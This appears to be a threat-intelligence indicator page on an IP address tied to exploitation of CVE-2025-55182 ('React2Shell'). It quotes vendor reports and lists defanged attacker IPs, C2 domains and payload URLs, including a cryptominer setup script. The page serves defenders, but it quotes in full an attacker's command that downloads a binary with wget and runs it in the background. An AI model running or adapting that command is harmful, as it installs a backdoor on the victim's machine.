45.76.155[.]14IP address

1. “C:\WINDOWS\system32\cmd.exe /d /s /c "wget hxxp://45.76.155[.]14/vim -O /tmp/vim ; chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & wait ; rm -f /tmp/vim"”

   HuntressVendor10 Dec 2025
   PeerBlight Linux Backdoor Exploits React2Shell CVE-2025-55182

2. “The backdoor was hosted at 45.76.155[.]14 and used api.qtss.cc as a C&C server.”

   Trend Micro ResearchVendor10 Dec 2025C2
   CVE-2025-55182: React2Shell Analysis, Proof-of-Concept Chaos, and In-the-Wild Exploitation

• 38.165.44[.]205in 2 reports
• hxxp://38.165.44[.]205/1in 2 reports
• api.qtss[.]ccin 2 reports
• hxxp://gfxnick.emerald.usbx[.]me/botin 1 report
• gfxnick.emerald.usbx[.]mein 1 report
• usbx[.]mein 1 report
• hxxp://193.34.213[.]150/nuts/x86;chmodin 1 report
• 193.34.213[.]150in 1 report
• hxxp://193.34.213[.]150/nuts/boltsin 1 report
• hxxp://193.34.213[.]150/nuts.shin 1 report
• 154.89.152[.]240in 1 report
• hxxps://raw.githubusercontent[.]com/nezhahq/scripts/main/agent/install.shin 1 report
• 107.174.123[.]91in 1 report
• hxxp://38.165.44[.]205/sin 1 report
• hxxps://216.238.68[.]169/ReactOSin 1 report
• 216.238.68[.]169in 1 report
• 78.153.140[.]16in 1 report
• 80.64.16[.]241in 1 report
• hxxps://raw.githubusercontent[.]com/C3Pool/xmrig_setup/master/setup_c3pool_miner.batin 1 report

Also named with it: CVE-2025-55182